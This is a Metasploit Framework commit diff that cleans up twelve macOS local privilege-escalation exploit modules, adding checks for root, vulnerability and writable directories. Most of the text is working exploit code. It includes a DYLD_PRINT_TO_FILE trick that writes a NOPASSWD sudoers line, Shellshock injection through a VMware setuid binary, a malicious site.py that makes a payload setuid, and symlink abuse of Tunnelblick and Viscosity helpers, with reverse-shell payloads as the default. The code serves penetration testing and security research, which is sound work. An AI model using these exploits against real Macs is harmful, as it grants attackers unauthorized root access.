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metasploit-framework
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Land #10118, cleanup OSX local exploit modules

GSoC/Meterpreter_Web_Console
Tim W 2018-06-08 14:57:09 +08:00
parent 0107310c72 641ffca98c
commit 9abf438428
No known key found for this signature in database
GPG Key ID: 217FBA50ABBAABEF
12 changed files with 259 additions and 102 deletions
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49
modules/exploits/osx/local/dyld_print_to_file_root.rb
View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -38,28 +39,40 @@ class MetasploitModule < Msf::Exploit::Local
['Mac OS X 10.10-10.10.4', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp'
}
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' }
))
register_options([
register_options [
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
]
end
def exploit
print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
cmd_exec("chmod +x #{payload_file}")
print_status("Executing exploit at `#{payload_file}'...")
cmd_exec(sploit)
def base_dir
datastore['WritableDir'].to_s
end
def check
(ver?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
(ver?) ? CheckCode::Appears : CheckCode::Safe
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
upload payload_file, binary_payload
cmd_exec "chmod +x #{payload_file}"
print_status "Executing exploit at `#{payload_file}'..."
cmd_exec sploit
end
def ver?
@ -68,6 +81,12 @@ class MetasploitModule < Msf::Exploit::Local
)
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
register_file_for_cleanup path
end
def sploit
%Q{/bin/sh -c "echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"}
end
@ -78,6 +97,6 @@ class MetasploitModule < Msf::Exploit::Local
def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
"#{base_dir}/.#{Rex::Text.rand_text_alpha(8..12)}"
end
end

17
modules/exploits/osx/local/iokit_keyboard_root.rb
View File

@ -7,10 +7,11 @@ class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking # Can cause kernel crash
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
'Description' => %q{
@ -50,16 +51,24 @@ class MetasploitModule < Msf::Exploit::Local
def check
if ver_lt(osx_ver, "10.10")
Exploit::CheckCode::Appears
CheckCode::Appears
else
Exploit::CheckCode::Safe
CheckCode::Safe
end
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"

15
modules/exploits/osx/local/nfs_mount_root.rb
View File

@ -7,10 +7,11 @@ class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
'Description' => %q{
@ -50,13 +51,21 @@ class MetasploitModule < Msf::Exploit::Local
def check
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
Exploit::CheckCode::Appears
CheckCode::Appears
else
Exploit::CheckCode::Safe
CheckCode::Safe
end
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
exploit = File.read(file)

7
modules/exploits/osx/local/root_no_password.rb
View File

@ -7,10 +7,11 @@ class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Root Privilege Escalation',
'Description' => %q{
@ -49,6 +50,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
print_status("Writing payload file as '#{payload_file}'")
write_file(payload_file, payload.raw)

26
modules/exploits/osx/local/rootpipe.rb
View File

@ -51,10 +51,14 @@ class MetasploitModule < Msf::Exploit::Local
}
))
register_options([
register_options [
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
@ -66,6 +70,18 @@ class MetasploitModule < Msf::Exploit::Local
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless is_admin?
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, python_exploit)
register_file_for_cleanup(exploit_file)
@ -101,12 +117,10 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit_file
@exploit_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
@exploit_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
end
def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
end
end

32
modules/exploits/osx/local/rootpipe_entitlements.rb
View File

@ -43,17 +43,21 @@ class MetasploitModule < Msf::Exploit::Local
}
))
register_options([
register_options [
OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
if ver? && is_admin?
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
return Exploit::CheckCode::Appears
return CheckCode::Appears
else
return Exploit::CheckCode::Safe
return CheckCode::Safe
end
end
@ -62,6 +66,18 @@ class MetasploitModule < Msf::Exploit::Local
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless is_admin?
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
print_status("Copying Directory Utility.app to #{new_app}")
cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")
@ -77,7 +93,7 @@ class MetasploitModule < Msf::Exploit::Local
write_file(exploit_file, plugin_exploit)
print_status("Running Directory Utility.app")
cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")
cmd_exec("/bin/sh -c 'PAYLOAD_IN=#{payload_file} PAYLOAD_OUT=#{root_file} #{new_app}/Contents/MacOS/Directory\\ Utility'")
print_status("Deleting Directory Utility.app")
cmd_exec("rm -Rf '#{new_app}'")
@ -115,7 +131,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def new_app
@app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
@app ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}.app"
end
def plist
@ -148,11 +164,11 @@ class MetasploitModule < Msf::Exploit::Local
def payload_file
@payload_file ||=
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
end
def root_file
@root_file ||=
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
end
end

26
modules/exploits/osx/local/rsh_libmalloc.rb
View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -42,15 +43,25 @@ class MetasploitModule < Msf::Exploit::Local
}
))
register_options(
[
OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
], self.class
)
register_options [
OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Check OS
os_check
@ -177,8 +188,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
end
def cleanup

52
modules/exploits/osx/local/setuid_tunnelblick.rb
View File

@ -8,10 +8,11 @@ require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
def initialize(info={})
def initialize(info = {})
super( update_info( info, {
'Name' => 'Setuid Tunnelblick Privilege Escalation',
'Description' => %q{
@ -44,42 +45,57 @@ class MetasploitModule < Msf::Exploit::Local
[ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
'DefaultTarget' => 0
}))
register_options([
# These are not OptPath becuase it's a *remote* path
register_options [
# These are not OptPath because it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
if not file?(datastore["Tunnelblick"])
vprint_error "openvpnstart not found"
unless file? datastore['Tunnelblick']
vprint_error 'openvpnstart not found'
return CheckCode::Safe
end
check = cmd_exec("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
if check =~ /openvpnstart/
return CheckCode::Vulnerable
unless check.include? 'openvpnstart'
return CheckCode::Safe
end
return CheckCode::Safe
CheckCode::Vulnerable
end
def clean
file_rm(@link)
cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn")
cmd_exec("rm -rf #{base_dir}/openvpn")
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
print_status("Creating directory...")
cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0"
cmd_exec "mkdir -p #{base_dir}/openvpn/openvpn-0"
exe_name = rand_text_alpha(8)
@exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}"
@exe_file = "#{base_dir}/openvpn/openvpn-0/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)
cmd_exec "chmod +x #{@exe_file}"
@ -90,13 +106,13 @@ class MetasploitModule < Msf::Exploit::Local
#{@exe_file}
EOF
@sh_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/openvpn"
@sh_file = "#{base_dir}/openvpn/openvpn-0/openvpn"
print_status("Dropping shell script #{@sh_file}...")
write_file(@sh_file, evil_sh)
cmd_exec "chmod +x #{@sh_file}"
link_name = rand_text_alpha(8)
@link = "#{datastore["WritableDir"]}/#{link_name}"
@link = "#{base_dir}/#{link_name}"
print_status("Creating symlink #{@link}...")
cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"
@ -104,11 +120,11 @@ class MetasploitModule < Msf::Exploit::Local
begin
cmd_exec "#{@link} OpenVPNInfo 0"
rescue
print_error("Failed. Cleaning files #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory")
clean
return
end
print_warning("Remember to clean files: #{@link} and the #{datastore["WritableDir"]}/openvpn directory")
print_warning("Remember to clean files: #{@link} and the #{base_dir}/openvpn directory")
end
end

46
modules/exploits/osx/local/setuid_viscosity.rb
View File

@ -8,10 +8,11 @@ require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
def initialize(info={})
def initialize(info = {})
super( update_info( info, {
'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
'Description' => %q{
@ -46,26 +47,30 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
}))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
])
register_options [
# These are not OptPath because it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
if not file?(datastore["Viscosity"])
vprint_error "ViscosityHelper not found"
unless file? datastore['Viscosity']
vprint_error 'ViscosityHelper not found'
return CheckCode::Safe
end
check = cmd_exec("find #{datastore["Viscosity"]} -type f -user root -perm -4000")
if check =~ /ViscosityHelper/
return CheckCode::Vulnerable
unless check.include? 'ViscosityHelper'
return CheckCode::Safe
end
return CheckCode::Safe
CheckCode::Vulnerable
end
def clean
@ -76,9 +81,20 @@ class MetasploitModule < Msf::Exploit::Local
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
exe_name = rand_text_alpha(8)
@exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
@exe_file = "#{base_dir}/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)
@ -91,13 +107,13 @@ os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
EOF
@python_file = "#{datastore["WritableDir"]}/site.py"
@python_file = "#{base_dir}/site.py"
print_status("Dropping python #{@python_file}...")
write_file(@python_file, evil_python)
print_status("Creating symlink...")
link_name = rand_text_alpha(8)
@link = "#{datastore["WritableDir"]}/#{link_name}"
@link = "#{base_dir}/#{link_name}"
cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"
print_status("Running...")

19
modules/exploits/osx/local/sudo_password_bypass.rb
View File

@ -13,8 +13,8 @@ class MetasploitModule < Msf::Exploit::Local
# it at his own risk
Rank = NormalRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Local
# saved clock config
attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Sudo Password Bypass',
'Description' => %q{
@ -106,20 +106,21 @@ class MetasploitModule < Msf::Exploit::Local
# and 1.8.0 through 1.8.6p6
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
vprint_error "sudo version #{sudo_vn} not vulnerable."
return Exploit::CheckCode::Safe
return CheckCode::Safe
end
else
vprint_error "sudo not detected on the system."
return Exploit::CheckCode::Safe
return CheckCode::Safe
end
# check that the user is in OSX's admin group, necessary to change sys clock
unless is_admin?
vprint_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
return Exploit::CheckCode::Safe
return CheckCode::Safe
end
# one root for you sir
return Exploit::CheckCode::Vulnerable
CheckCode::Vulnerable
end
def exploit
@ -128,7 +129,11 @@ class MetasploitModule < Msf::Exploit::Local
end
unless is_admin?
fail_with(Failure::NoAccess, "User is not in the 'admin' group, bailing.")
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
end
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
# "remember" the current system time/date/network/zone

27
modules/exploits/osx/local/tpwn.rb
View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
@ -38,16 +39,32 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultTarget' => 0
))
register_options([
register_options [
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
ver?? CheckCode::Appears : CheckCode::Safe
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, binary_exploit)
register_file_for_cleanup(exploit_file)
@ -84,11 +101,11 @@ class MetasploitModule < Msf::Exploit::Local
def exploit_file
@exploit_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
end
def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
end
end

45
modules/exploits/osx/local/vmware_bash_function_root.rb
View File

@ -7,10 +7,11 @@ class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
def initialize(info = {})
super(update_info(info,
'Name' => 'OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)',
'Description' => %q{
@ -49,9 +50,20 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => 'Sep 24 2014'
))
register_options([
register_options [
OptString.new('WritableDir', [true, 'Writable directory', '/tmp']),
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
register_file_for_cleanup path
end
def check
@ -60,23 +72,32 @@ class MetasploitModule < Msf::Exploit::Local
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/
Exploit::CheckCode::Vulnerable
CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
CheckCode::Safe
end
end
def exploit
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
print_status("Writing payload file as '#{payload_file}'")
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
payload_file = "#{base_dir}/.#{Rex::Text::rand_text_alpha_lower(8..12)}"
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
write_file(payload_file, exe)
register_file_for_cleanup(payload_file)
cmd_exec("chmod +x #{payload_file}")
upload payload_file, exe
cmd_exec "chmod +x #{payload_file}"
print_status("Running VMWare services...")
print_status 'Running VMWare services...'
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
end
end